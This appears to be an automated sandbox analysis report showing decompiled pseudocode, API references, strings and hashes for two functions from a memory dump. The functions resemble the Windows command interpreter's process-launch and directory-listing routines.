									__eflags =  *0x8b3cf0 - 0xc1;
									if( *0x8b3cf0 == 0xc1) {
										goto L49;
									}
									goto L48;
								} else {
									L14:
									_t101 =  *(_t178 - 0xa4);
									_t174 = _t101 & 1;
									_t167 = 2;
									_t154 = _t101 & _t167;
									if(_t101 == 0) {
										L62:
										_t135 = 4;
										L16:
										 *(_t178 - 0xac) = _t177;
										 *0x8a3838 = 1;
										if(_t135 != 0) {
											L26:
											__eflags = _t135 - 4;
											if(_t135 == 4) {
												_t104 =  *(_t178 - 0xa4);
												__eflags = _t104;
												if(_t104 != 0) {
													CloseHandle(_t104);
													 *(_t178 - 0xa4) = _t177;
												}
											} else {
												__eflags = _t135 - _t167;
												if(_t135 == _t167) {
													 *0x89d54c =  *(_t178 - 0xa4);
												}
											}
											L20:
											 *((intOrPtr*)(_t178 - 4)) = 0xfffffffe;
											E00883A30();
											goto L21;
										}
										_t109 = E00884C3E();
										 *0x8ab8b0 = _t109;
										 *(_t178 - 0xa4) = _t177;
										_t177 = _t109;
										 *(_t178 - 0xac) = _t177;
										E0088274C(_t178 - 0x4c, 0x14, L"%08X", _t177);
										E00883A50(L"=ExitCode", _t178 - 0x4c);
										if(_t177 >= 0x20) {
											__eflags = _t177 - 0x7e;
											if(_t177 > 0x7e) {
												goto L18;
											}
											E0088274C(_t178 - 0x80, 0xc, L"%01C", _t177);
											_t169 = _t178 - 0x80;
											L19:
											E00883A50(L"=ExitCodeAscii", _t169);
											if(_t174 != 0) {
												E0089579A(L"=ExitCodeAscii", __eflags);
											}
											goto L20;
										}
										L18:
										_t169 = 0x8724f0;
										goto L19;
									}
									_t135 =  *(_t178 - 0xa8);
									if( *0x8b3ccc == 0) {
										__eflags =  *0x8b3cc4;
										if( *0x8b3cc4 != 0) {
											goto L16;
										}
										__eflags =  *0x8b3cc9;
										if( *0x8b3cc9 == 0) {
											goto L16;
										} else {
											__eflags =  *0x8b8058;
											if( *0x8b8058 != 0) {
												goto L16;
											}
											__eflags = _t135;
											if(_t135 != 0) {
												goto L16;
											}
											__eflags = _t154;
											if(_t154 != 0) {
												goto L62;
											}
											_t117 = E008952E3(_t101, _t167);
											_t167 = 2;
											__eflags = _t167 - _t117;
											if(_t167 != _t117) {
												goto L16;
											}
											goto L62;
										}
										goto L26;
									}
									goto L16;
								}
							}
							L9:
							_t95 =  *0x8b3cb8;
							if(_t95 == 0) {
								_t95 = 0x8b3ab0;
							}
							_t98 = CreateProcessW(_t135, _t174, _t177, _t177, 1, 0x80000, _t177, _t95, _t178 - 0x118, _t178 - 0xcc);
							goto L11;
						}
					}
					L6:
					_t165 = 0x5c;
					_t92 = E00882349(_t135, _t165);
					if(_t92 != 0 && lstrcmpW(_t92, L"\\XCOPY.EXE") == 0) {
						E00894478();
					}
					goto L8;
				}
			}

0x00883758
0x0088375d
0x00883763
0x00883769
0x0088376c
0x0088376f
0x00883771
0x00883777
0x0088377d
0x00883783
0x00883799
0x008837a0
0x008837a8
0x0088ddec
0x0088ddf3
0x008839e2
0x008839e7
0x008839e7
0x008837b1
0x008837c8
0x008837cf
0x008837d7
0x0088de08
0x0088de0f
0x0088de1b
0x00000000
0x008837dd
0x008837e7
0x008837f5
0x008837fb
0x00883808
0x0088380e
0x00883817
0x0088381f
0x00883820
0x00883826
0x0088382c
0x00883832
0x00883840
0x00883848
0x00883853
0x0088385c
0x00883862
0x00883871
0x00883873
0x0088387a
0x0088387f
0x00883887
0x0088de3e
0x0088de3e
0x0088de43
0x0088de44
0x0088de49
0x0088de51
0x00000000
0x0088de53
0x00883894
0x0088de59
0x0088de60
0x00000000
0x00000000
0x0088de66
0x0088de6d
0x008838bc
0x008838bc
0x008838c1
0x008838c8
0x008839ea
0x008839ed
0x008839ef
0x00000000
0x00000000
0x0088de82
0x0088de87
0x0088de89
0x0088de8b
0x0088de8b
0x0088deae
0x008838fe
0x008838fe
0x00883902
0x0088dec3
0x0088dec9
0x0088decf
0x00883908
0x0088390e
0x0088391a
0x0088391a
0x00883926
0x0088392b
0x00883932
0x0088ded9
0x0088dee0
0x0088deee
0x0088deee
0x0088def8
0x0088df3e
0x0088df3e
0x0088df40
0x00000000
0x00000000
0x0088df50
0x0088df52
0x0088df54
0x0088de2b
0x0088de32
0x0088de39
0x0088de39
0x00000000
0x0088df54
0x0088defa
0x0088defa
0x0088deff
0x0088df01
0x0088df3c
0x0088df03
0x0088df03
0x0088df09
0x0088df0b
0x0088df0d
0x0088df0d
0x0088df38
0x0088df38
0x00000000
0x0088df01
0x0088dee2
0x0088deec
0x00000000
0x00000000
0x00000000
0x00883938
0x00883938
0x00883938
0x00883943
0x00883949
0x0088394a
0x0088394e
0x0088df98
0x0088df9a
0x00883967
0x00883967
0x00883970
0x00883977
0x00883a0c
0x00883a0c
0x00883a0f
0x0088dfbc
0x0088dfc2
0x0088dfc4
0x0088dfcb
0x0088dfd1
0x0088dfd1
0x00883a15
0x00883a15
0x00883a17
0x00883a1f
0x00883a1f
0x00883a17
0x008839d4
0x008839d4
0x008839db
0x00000000
0x008839e0
0x00883983
0x00883988
0x0088398d
0x00883993
0x00883995
0x008839a7
0x008839b7
0x008839bf
0x00883a26
0x00883a29
0x00000000
0x00000000
0x0088dfac
0x0088dfb4
0x008839c6
0x008839cb
0x008839d2
0x00883a49
0x00883a49
0x00000000
0x008839d2
0x008839c1
0x008839c1
0x00000000
0x008839c1
0x00883954
0x00883961
0x008839fa
0x00883a01
0x00000000
0x00000000
0x0088df5f
0x0088df66
0x00000000
0x0088df6c
0x0088df6c
0x0088df73
0x00000000
0x00000000
0x0088df79
0x0088df7b
0x00000000
0x00000000
0x0088df81
0x0088df83
0x00000000
0x00000000
0x0088df87
0x0088df8e
0x0088df8f
0x0088df92
0x00000000
0x00000000
0x00000000
0x0088df92
0x00000000
0x0088df66
0x00000000
0x00883961
0x00883932
0x008838ce
0x008838ce
0x008838d5
0x0088deb9
0x0088deb9
0x008838f8
0x00000000
0x008838f8
0x0088de73
0x0088389a
0x0088389c
0x0088389f
0x008838a6
0x0088de78
0x0088de78
0x00000000
0x008838a6

APIs

InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,00000001,00000000,00000020,0089BDF8,00000108,0087C897,?,00000000,00000000,00000000), ref: 008837A0
UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,00000000,00060001,?,00000004,00000000,00000000,?,00000000,00000000,00000000), ref: 008837CF
memset.MSVCRT ref: 008837E7
memset.MSVCRT ref: 00883840
GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(00000044), ref: 00883853

Part of subcall function 00883320: _wcsnicmp.MSVCRT ref: 008833A4

lstrcmpW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0(00000000,\XCOPY.EXE), ref: 008838AE
CreateProcessW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,00000000,00000000,00000001,00080000,00000000,?,?,?), ref: 008838F8
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 0088391A
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00000000,00000000), ref: 0088DDE6
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00000000,00000000), ref: 0088DE02
DeleteProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,00000000,00000000,00000000), ref: 0088DE1B
CreateProcessAsUserW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,?,00000000,00000000,00000001,00080000,00000000,?,?,?), ref: 0088DEAE
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 0088DFCB

Strings

\XCOPY.EXE, xrefs: 008838A8
%01C, xrefs: 0088DFA1
=ExitCode, xrefs: 008839B2
H, xrefs: 008837FB
D, xrefs: 00883848
%08X, xrefs: 0088399C
, xrefs: 00883783
COPYCMD, xrefs: 00883865, 00883926
=ExitCodeAscii, xrefs: 008839C6

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributeProcThread$CloseCreateErrorHandleLastListProcessmemset$DeleteInfoInitializeStartupUpdateUser_wcsnicmplstrcmp
String ID: $%01C$%08X$=ExitCode$=ExitCodeAscii$COPYCMD$D$H$\XCOPY.EXE
API String ID: 1603632292-3461277227
Opcode ID: f83147e3ae638174aa99437d274d5acb6d0b591193f2867bcf69044f642fb481
Instruction ID: 410ddc7ada73c93cce5f8c56039c8ed9fe56e9616e2a24889431dfa22f20bd87
Opcode Fuzzy Hash: f83147e3ae638174aa99437d274d5acb6d0b591193f2867bcf69044f642fb481
Instruction Fuzzy Hash: BDC19371A003199FDB24FB68DC45BAA7BB8FB45704F1041A9F64AE7281EB748E84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00886550, Relevance: 33.8, APIs: 14, Strings: 5, Instructions: 535
COMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E00886550(void* _a4, signed int _a8, void* _a12, signed int* _a16, void* _a20, signed int* _a24, char _a28, long _a32, char _a36, long _a40, short _a42, int _a44, void _a48, int _a564, int _a568, signed int _a572, int _a576, char _a612, void _a648, intOrPtr _a1152, char _a1156, int _a1168, signed int _a1172, char* _a1176, char _a1184, intOrPtr _a1208, void _a1212, signed int _a1220, signed short _a1222, signed int _a1224, signed int _a1226, signed int _a17612) {
				struct _SECURITY_DESCRIPTOR* _v0;
				void* _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t187;
				signed int _t190;
				signed int _t191;
				void* _t192;
				signed int _t195;
				signed int _t201;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				intOrPtr _t216;
				intOrPtr _t217;
				signed int _t219;
				signed int _t221;
				signed int _t223;
				signed int* _t228;
				signed int _t237;
				signed int _t240;
				WCHAR* _t241;
				void* _t242;
				signed int _t243;
				void* _t245;
				signed int _t256;
				void* _t257;
				signed int _t272;
				signed int _t273;
				signed int _t277;
				WCHAR* _t281;
				signed int _t282;
				signed int _t285;
				signed int _t286;
				signed int _t306;
				struct _SECURITY_DESCRIPTOR* _t310;
				signed int _t311;
				void* _t312;
				signed int _t313;
				char* _t314;
				struct _SECURITY_DESCRIPTOR* _t315;
				void* _t316;
				intOrPtr _t317;
				intOrPtr* _t331;
				void* _t337;
				void* _t345;
				void* _t364;
				void* _t371;
				void* _t373;
				intOrPtr _t374;
				intOrPtr _t381;
				char* _t383;
				intOrPtr _t388;
				intOrPtr _t389;
				signed int* _t394;
				void* _t395;
				int _t396;
				void* _t399;
				void* _t400;
				signed int _t401;
				signed int _t402;

				_t402 = _t401 & 0xfffffff8;
				E00888290(0x44d4);
				_t187 =  *0x89d0b4; // 0x987dc5f4
				_a17612 = _t187 ^ _t402;
				_t371 = _a4;
				_t310 = _a8;
				_t399 = _a12;
				_t394 = _a16;
				_t316 =  &(_t310->Owner);
				_a4 = _t316;
				_t317 =  *((intOrPtr*)(_t316 + 0x1c));
				 *((intOrPtr*)(_t371 + 0x28)) =  *((intOrPtr*)(_t371 + 0x28)) +  *((intOrPtr*)(_t316 + 0x20));
				_a12 = _t371;
				asm("adc [edx+0x2c], ecx");
				_t190 =  *_t394;
				_t372 = _t190;
				_v0 = _t310;
				_a24 = _t394;
				if((_t190 & 0x00000010) != 0) {
					__eflags = _t190;
					if(_t190 < 0) {
						goto L1;
					}
					 *_t394 = _t190 & 0xffffffef;
					_t195 = E008865F0(_t394, _a12, _t399, _t394);
					_t372 =  *_t394 | 0x00000010;
					 *_t394 = _t372;
					__eflags = _t195;
					if(_t195 != 0) {
						L5:
						_pop(_t395);
						_pop(_t400);
						_pop(_t312);
						return E00886FD0(_t195, _t312, _a17612 ^ _t402, _t372, _t395, _t400);
					}
					_t372 = _t372 | 0x80000000;
					 *_t394 = _t372;
				}
				L1:
				if((_t372 & 0x00000040) == 0) {
					__eflags = _t372 & 0x00000004;
					if((_t372 & 0x00000004) == 0) {
						__eflags = _t372 & 0x00000402;
						if(__eflags == 0) {
							_t191 =  *(_t310 + 2) & 0x0000ffff;
							__eflags = _t191;
							if(_t191 == 0) {
								_t192 = 0x2c;
							} else {
								_t192 = 0x2c + _t191 * 2;
							}
							_t311 = E0089A49A(_t399, _t372, _t192 +  &(_t310->Owner), _t317);
							__eflags = _t311;
							if(_t311 == 0) {
								_t373 = 0xe;
								E00897A11(_t399, _t373);
								_t372 = _t394[0x17];
								_t311 = E0089A3E9(_t399, _t394[0x17],  *_t394, _a4);
							}
							__eflags =  *(_t399 + 8);
							if( *(_t399 + 8) == 0) {
								L4:
								_t195 = _t311;
								goto L5;
							}
							_t195 = E0087B610(_t311, _t399, _t394);
							__eflags = _t195;
							if(_t195 != 0) {
								goto L5;
							}
							goto L4;
						}
						_t325 = _t399;
						_t372 = _t394[0x17];
						_t311 = E0089A2C1(_t310, _t399, _t394[0x17], __eflags, _t394[0x17], _a4);
						_t200 = 0;
						_a24 = 0;
						__eflags = _t311;
						if(_t311 != 0) {
							L70:
							__eflags =  *(_t399 + 8) - _t200;
							if( *(_t399 + 8) == _t200) {
								L72:
								__eflags =  *_t394 & 0x00100000;
								if(( *_t394 & 0x00100000) == 0) {
									goto L4;
								}
								_t201 = E00887797(_t325);
								__eflags = _t201;
								if(_t201 == 0) {
									goto L4;
								}
								_a1172 = 1;
								_a1176 = 0x104;
								_a1168 = 0;
								memset( &_a648, 0, 0x104);
								_t402 = _t402 + 0xc;
								__eflags = _a1172;
								_t210 = E00880C70( &_a648, ((0 | _a1172 == 0x00000000) - 0x00000001 & 0x00007ee3) + 0x104);
								__eflags = _t210;
								if(_t210 < 0) {
									L91:
									__imp__??_V@YAXPAX@Z(_a1168);
									goto L4;
								}
								_t329 = _a1168;
								__eflags = _a1168;
								if(_a1168 == 0) {
									_t329 =  &_a648;
								}
								_t372 = _a1176;
								_t214 = E008851C9(_t329, _a1176,  *((intOrPtr*)(_a12 + 4)), _a4 + 0x2c);
								__eflags = _t214;
								if(_t214 == 0) {
									_t215 = _a1168;
									__eflags = _t215;
									if(_t215 == 0) {
										_t215 =  &_a648;
									}
									_t372 = 0;
									_t216 =  *0x8bc00c(_t215, 0,  &_a48, 0);
									_v16 = _t216;
									__eflags = _t216 - 0xffffffff;
									if(_t216 != 0xffffffff) {
										do {
											_t331 =  &_a40;
											_t372 = _t331 + 2;
											do {
												_t217 =  *_t331;
												_t331 = _t331 + 2;
												__eflags = _t217 - _a16;
											} while (_t217 != _a16);
											__eflags = _t331 - _t372 >> 1 - 2;
											if(__eflags < 0) {
												L85:
												_t372 =  *_t394;
												_t219 = E00899FD6(_t399,  *_t394, __eflags, _v12,  &_a32);
												_t311 = _t219;
												__eflags = _t311;
												if(_t311 != 0) {
													goto L89;
												}
												__eflags =  *(_t399 + 8) - _t219;
												if( *(_t399 + 8) == _t219) {
													goto L89;
												}
												_t223 = E0087B610(_t311, _t399, _t394);
												_a8 = _t223;
												__eflags = _t223;
												if(_t223 == 0) {
													goto L89;
												}
												__imp__??_V@YAXPAX@Z(_a1152);
												_t195 = _a8;
												goto L5;
											}
											__eflags = _a42 - 0x3a;
											if(__eflags == 0) {
												goto L89;
											}
											goto L85;
											L89:
											_t221 =  *0x8bc038(_v16,  &_a32);
											__eflags = _t221;
										} while (_t221 != 0);
										FindClose(_v24);
									}
								}
								goto L91;
							}
							_t325 = _t399;
							_t195 = E0087B610(_t311, _t399, _t394);
							__eflags = _t195;
							if(_t195 != 0) {
								goto L5;
							}
							goto L72;
						}
						__eflags =  *_t394 & 0x00000400;
						if(( *_t394 & 0x00000400) == 0) {
							_t374 =  *0x89d190; // 0x13
							_t375 = _t374 + 0x13;
							__eflags = _t374 + 0x13;
						} else {
							_t315 = _v0;
							__eflags =  *(_t315 + 2);
							if( *(_t315 + 2) != 0) {
								_t389 =  *0x89d190; // 0x13
								_t364 = _t399;
								E00897A11(_t364, _t389 + 0x13);
								_push(_t364);
								E00886740(_t399,  *_t394, _t315 + 0x30 + ( *(_t315 + 2) & 0x0000ffff) * 2);
							}
							_t388 =  *0x89d190; // 0x13
							_t375 = _t388 + 0x20;
						}
						_t337 = _t399;
						E00897A11(_t337, _t375);
						_t372 =  *_t394;
						_t313 = L"...";
						_a8 = _t313;
						__eflags = _t372 & 0x00040000;
						if((_t372 & 0x00040000) == 0) {
							L42:
							_push(_t337);
							_t325 = _t399;
							_a16 = _a4 + 0x2c;
							_t311 = E00886740(_t399, _t372, _a4 + 0x2c);
							_t228 = _v4;
							__eflags =  *_t228 & 0x00000400;
							if(( *_t228 & 0x00000400) == 0) {
								L69:
								_t200 = 0;
								__eflags = 0;
								goto L70;
							}
							__eflags = _t228[9] & 0x20000000;
							if((_t228[9] & 0x20000000) == 0) {
								goto L69;
							}
							_a568 = 1;
							_a572 = 0x104;
							_a564 = 0;
							memset( &_a44, 0, 0x104);
							_t402 = _t402 + 0xc;
							__eflags = _a568;
							_t237 = E00880C70( &_a44, ((0 | _a568 == 0x00000000) - 0x00000001 & 0x00007ee3) + 0x104);
							__eflags = _t237;
							if(_t237 < 0) {
								L67:
								_t372 = L"%s";
								E00886B76(_t399, L"%s", L" [.]");
								L68:
								__imp__??_V@YAXPAX@Z(_a564);
								_pop(_t325);
								goto L69;
							}
							_t341 = _a564;
							__eflags = _a564;
							if(_a564 == 0) {
								_t341 =  &_a44;
							}
							_t240 = E008851C9(_t341, _a572,  *((intOrPtr*)(_a8 + 4)), _a12);
							__eflags = _t240;
							if(_t240 != 0) {
								goto L67;
							} else {
								_t241 = _a564;
								__eflags = _t241;
								if(_t241 == 0) {
									_t241 =  &_a44;
								}
								_t242 = CreateFileW(_t241, 8, 7, 0, 3, 0x2200000, 0);
								_a12 = _t242;
								__eflags = _t242 - 0xffffffff;
								if(_t242 != 0xffffffff) {
									_t243 = DeviceIoControl(_t242, 0x900a8, 0, 0,  &_a1212, 0x4002,  &_a32, 0);
									_t372 = L"%s";
									_t345 = _t399;
									__eflags = _t243;
									if(_t243 != 0) {
										E00886B76(_t345, L"%s", L" [");
										__eflags = _a1208 - 0xa0000003;
										if(_a1208 != 0xa0000003) {
											__eflags = _a1212 - 0xa000000c;
											if(_a1212 != 0xa000000c) {
												_t396 = 6;
												L63:
												_t133 = _t396 + 2; // 0x8
												_t245 = E008800B0(_t133);
												_v4 = _t245;
												__eflags = _t245;
												if(_t245 != 0) {
													memcpy(_t245, _a4, _t396);
													_t402 = _t402 + 0xc;
													__eflags = 0;
													 *((short*)(_v4 + (_t396 >> 1) * 2)) = 0;
													E00886B76(_t399, L"%s", _v4);
													E00880040(_v8);
												}
												_t372 = L"%s";
												E00886B76(_t399, L"%s", "]");
												_t394 = _a16;
												goto L66;
											}
											_t396 = _a1226 & 0x0000ffff;
											_a4 = _t402 + 0x4e4 + ((_a1224 & 0x0000ffff) >> 1) * 2;
											__eflags = _t396;
											if(_t396 != 0) {
												goto L63;
											}
											_t256 = (_a1220 & 0x0000ffff) >> 1;
											__eflags = _t256;
											_t257 = _t402 + 0x4e4 + _t256 * 2;
											L61:
											_t396 = _a1222 & 0x0000ffff;
											_a4 = _t257;
											goto L63;
										}
										_t396 = _a1226 & 0x0000ffff;
										_a4 = _t402 + 0x4e0 + ((_a1224 & 0x0000ffff) >> 1) * 2;
										__eflags = _t396;
										if(_t396 != 0) {
											goto L63;
										}
										_t257 = _t402 + 0x4e0 + ((_a1220 & 0x0000ffff) >> 1) * 2;
										goto L61;
									}
									_push(L" [...]");
									goto L54;
								} else {
									_push(L" [..]");
									_t372 = L"%s";
									_t345 = _t399;
									L54:
									E00886B76(_t345, _t372);
									L66:
									CloseHandle(_a12);
									goto L68;
								}
							}
						} else {
							_a16 = 0x101;
							_a20 = 0;
							_a568 = 0;
							_a28 = 0x10;
							_a572 = 1;
							_a576 = 0x104;
							memset( &_a48, 0, 0x104);
							_t402 = _t402 + 0xc;
							__eflags = _a572;
							_t272 = E00880C70( &_a48, ((0 | _a572 == 0x00000000) - 0x00000001 & 0x00007ee3) + 0x104);
							__eflags = _t272;
							if(_t272 >= 0) {
								_t273 = E008800B0(0x10000);
								_v0 = _t273;
								__eflags = _t273;
								if(_t273 != 0) {
									_t354 = _a568;
									__eflags = _a568;
									if(_a568 == 0) {
										_t354 =  &_a48;
									}
									_t277 = E008851C9(_t354, _a576,  *((intOrPtr*)(_a12 + 4)), _a4 + 0x2c);
									__eflags = _t277;
									if(_t277 != 0) {
										L33:
										E00886B76(_t399, L"%s", _t313);
										goto L36;
									} else {
										_t281 = _a568;
										__eflags = _t281;
										if(_t281 == 0) {
											_t281 =  &_a48;
										}
										_t282 = GetFileSecurityW(_t281, 1, _v0, 0x10000,  &_a40);
										__eflags = _t282;
										if(_t282 == 0) {
											goto L33;
										} else {
											_t285 = GetSecurityDescriptorOwner(_v0,  &_a20,  &_a44);
											__eflags = _t285;
											if(_t285 == 0) {
												goto L33;
											}
											_t286 = E00887797( &_a40);
											__eflags = _t286;
											if(_t286 == 0) {
												L34:
												_push(_t313);
												_t383 = L"%s";
												L35:
												E00886B76(_t399, _t383);
												__eflags = 0;
												_a16 = 0;
												L36:
												E00880040(_v0);
												L37:
												__eflags =  *_t394 & 0x00000400;
												_t381 =  *0x89d190; // 0x13
												if(( *_t394 & 0x00000400) == 0) {
													_t382 = _t381 + 0x2a;
													__eflags = _t381 + 0x2a;
												} else {
													_t382 = _t381 + 0x37;
												}
												E00897A11(_t399, _t382);
												L41:
												__imp__??_V@YAXPAX@Z(_a568);
												_t372 =  *_t394;
												_pop(_t337);
												goto L42;
											}
											 *0x8bc034(0, _a20,  &_a648,  &_a16,  &_a1184,  &_a28,  &_a36);
											__eflags = 0;
											if(0 == 0) {
												goto L34;
											}
											_t314 = L"%s";
											E00886B76(_t399, _t314,  &_a1156);
											E00886B76(_t399, _t314, "\\");
											_t383 = _t314;
											_push( &_a612);
											goto L35;
										}
									}
								}
								E00886B76(_t399, L"%s", _t313);
								goto L37;
							}
							E00886B76(_t399, L"%s", _t313);
							goto L41;
						}
					}
					_t306 = E0089AB79(_t399, _t372, _a4);
					L3:
					_t311 = _t306;
					goto L4;
				}
				_t306 = E0088660F(_t399, _t372,  *((intOrPtr*)(_a12 + 4)), _a4);
				goto L3;
			}

0x00886555
0x0088655d
0x00886562
0x00886569
0x00886570
0x00886574
0x00886578
0x0088657c
0x0088657f
0x00886585
0x00886589
0x0088658c
0x0088658f
0x00886593
0x00886596
0x00886598
0x0088659a
0x0088659e
0x008865a4
0x0088f9ae
0x0088f9b0
0x00000000
0x00000000
0x0088f9bf
0x0088f9c1
0x0088f9c8
0x0088f9cb
0x0088f9cd
0x0088f9cf
0x008865ca
0x008865d1
0x008865d2
0x008865d3
0x008865de
0x008865de
0x0088f9d5
0x0088f9db
0x0088f9db
0x008865aa
0x008865ad
0x0088f9e2
0x0088f9e5
0x0088f9f8
0x0088f9fe
0x00890030
0x00890034
0x00890037
0x00890044
0x00890039
0x00890039
0x00890039
0x00890053
0x00890055
0x00890057
0x0089005b
0x0089005e
0x00890067
0x00890073
0x00890073
0x00890075
0x00890079
0x008865c8
0x008865c8
0x00000000
0x008865c8
0x00890081
0x00890086
0x00890088
0x00000000
0x00000000
0x00000000
0x0089008e
0x0088fa08
0x0088fa0b
0x0088fa13
0x0088fa15
0x0088fa17
0x0088fa1b
0x0088fa1d
0x0088feac
0x0088feac
0x0088feaf
0x0088fec0
0x0088fec0
0x0088fec6
0x00000000
0x00000000
0x0088fecc
0x0088fed1
0x0088fed3
0x00000000
0x00000000
0x0088fede
0x0088fee8
0x0088fef1
0x0088ff00
0x0088ff0e
0x0088ff11
0x0088ff27
0x0088ff2c
0x0088ff2e
0x0089001d
0x00890024
0x00000000
0x0089002a
0x0088ff34
0x0088ff3b
0x0088ff3d
0x0088ff3f
0x0088ff3f
0x0088ff4a
0x0088ff5c
0x0088ff61
0x0088ff63
0x0088ff69
0x0088ff70
0x0088ff72
0x0088ff74
0x0088ff74
0x0088ff7b
0x0088ff85
0x0088ff8b
0x0088ff8f
0x0088ff92
0x0088ff98
0x0088ff98
0x0088ff9c
0x0088ff9f
0x0088ff9f
0x0088ffa2
0x0088ffa5
0x0088ffa5
0x0088ffb0
0x0088ffb3
0x0088ffbd
0x0088ffbd
0x0088ffca
0x0088ffcf
0x0088ffd1
0x0088ffd3
0x00000000
0x00000000
0x0088ffd5
0x0088ffd8
0x00000000
0x00000000
0x0088ffdc
0x0088ffe1
0x0088ffe5
0x0088ffe7
0x00000000
0x00000000
0x0088fff0
0x0088fff6
0x00000000
0x0088fffa
0x0088ffb5
0x0088ffbb
0x00000000
0x00000000
0x00000000
0x00890000
0x00890009
0x0089000f
0x0089000f
0x00890017
0x00890017
0x0088ff92
0x00000000
0x0088ff63
0x0088feb1
0x0088feb3
0x0088feb8
0x0088feba
0x00000000
0x00000000
0x00000000
0x0088feba
0x0088fa23
0x0088fa29
0x0088fa65
0x0088fa6b
0x0088fa6b
0x0088fa2b
0x0088fa2b
0x0088fa2f
0x0088fa33
0x0088fa35
0x0088fa3b
0x0088fa40
0x0088fa4b
0x0088fa55
0x0088fa55
0x0088fa5a
0x0088fa60
0x0088fa60
0x0088fa6e
0x0088fa70
0x0088fa75
0x0088fa77
0x0088fa7c
0x0088fa80
0x0088fa86
0x0088fc60
0x0088fc67
0x0088fc69
0x0088fc6b
0x0088fc74
0x0088fc76
0x0088fc7a
0x0088fc80
0x0088feaa
0x0088feaa
0x0088feaa
0x00000000
0x0088feaa
0x0088fc86
0x0088fc8d
0x00000000
0x00000000
0x0088fc98
0x0088fca2
0x0088fcab
0x0088fcb7
0x0088fcc2
0x0088fcc5
0x0088fcdb
0x0088fce0
0x0088fce2
0x0088fe8b
0x0088fe90
0x0088fe97
0x0088fe9c
0x0088fea3
0x0088fea9
0x00000000
0x0088fea9
0x0088fce8
0x0088fcef
0x0088fcf1
0x0088fcf3
0x0088fcf3
0x0088fd09
0x0088fd0e
0x0088fd10
0x00000000
0x0088fd16
0x0088fd16
0x0088fd1d
0x0088fd1f
0x0088fd21
0x0088fd21
0x0088fd35
0x0088fd3b
0x0088fd3f
0x0088fd42
0x0088fd6f
0x0088fd75
0x0088fd7a
0x0088fd7c
0x0088fd7e
0x0088fd94
0x0088fd99
0x0088fda4
0x0088fdda
0x0088fde5
0x0088fe29
0x0088fe2a
0x0088fe2a
0x0088fe2d
0x0088fe32
0x0088fe36
0x0088fe38
0x0088fe40
0x0088fe49
0x0088fe4e
0x0088fe56
0x0088fe5c
0x0088fe65
0x0088fe65
0x0088fe6f
0x0088fe76
0x0088fe7b
0x00000000
0x0088fe7b
0x0088fdef
0x0088fe00
0x0088fe04
0x0088fe06
0x00000000
0x00000000
0x0088fe10
0x0088fe10
0x0088fe12
0x0088fe19
0x0088fe19
0x0088fe21
0x00000000
0x0088fe21
0x0088fdae
0x0088fdbf
0x0088fdc3
0x0088fdc5
0x00000000
0x00000000
0x0088fdd1
0x00000000
0x0088fdd1
0x0088fd80
0x00000000
0x0088fd44
0x0088fd44
0x0088fd49
0x0088fd4e
0x0088fd85
0x0088fd85
0x0088fe7f
0x0088fe83
0x00000000
0x0088fe83
0x0088fd42
0x0088fa8c
0x0088fa8e
0x0088fa9b
0x0088faa1
0x0088faad
0x0088fab5
0x0088fabd
0x0088fac4
0x0088facf
0x0088fad2
0x0088fae8
0x0088faed
0x0088faef
0x0088fb08
0x0088fb0d
0x0088fb11
0x0088fb13
0x0088fb27
0x0088fb2e
0x0088fb30
0x0088fb32
0x0088fb32
0x0088fb4c
0x0088fb51
0x0088fb53
0x0088fc08
0x0088fc10
0x00000000
0x0088fb59
0x0088fb59
0x0088fb60
0x0088fb62
0x0088fb64
0x0088fb64
0x0088fb79
0x0088fb7f
0x0088fb81
0x00000000
0x0088fb87
0x0088fb95
0x0088fb9b
0x0088fb9d
0x00000000
0x00000000
0x0088fb9f
0x0088fba4
0x0088fba6
0x0088fc17
0x0088fc17
0x0088fc18
0x0088fc1d
0x0088fc1f
0x0088fc24
0x0088fc26
0x0088fc2a
0x0088fc2e
0x0088fc33
0x0088fc33
0x0088fc39
0x0088fc3f
0x0088fc46
0x0088fc46
0x0088fc41
0x0088fc41
0x0088fc41
0x0088fc4b
0x0088fc50
0x0088fc57
0x0088fc5d
0x0088fc5f
0x00000000
0x0088fc5f
0x0088fbce
0x0088fbd4
0x0088fbd6
0x00000000
0x00000000
0x0088fbdf
0x0088fbe9
0x0088fbf7
0x0088fc03
0x0088fc05
0x00000000
0x0088fc05
0x0088fb81
0x0088fb53
0x0088fb1d
0x00000000
0x0088fb1d
0x0088faf9
0x00000000
0x0088faf9
0x0088fa86
0x0088f9ee
0x008865c6
0x008865c6
0x00000000
0x008865c6
0x008865c1
0x00000000

Strings

:, xrefs: 0088FFB5
[...], xrefs: 0088FD80
[..], xrefs: 0088FD44
..., xrefs: 0088FA77, 0088FAF1, 0088FB15, 0088FC08, 0088FC17
[.], xrefs: 0088FE8B

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: [...]$ [..]$ [.]$...$:
API String ID: 0-1980097535
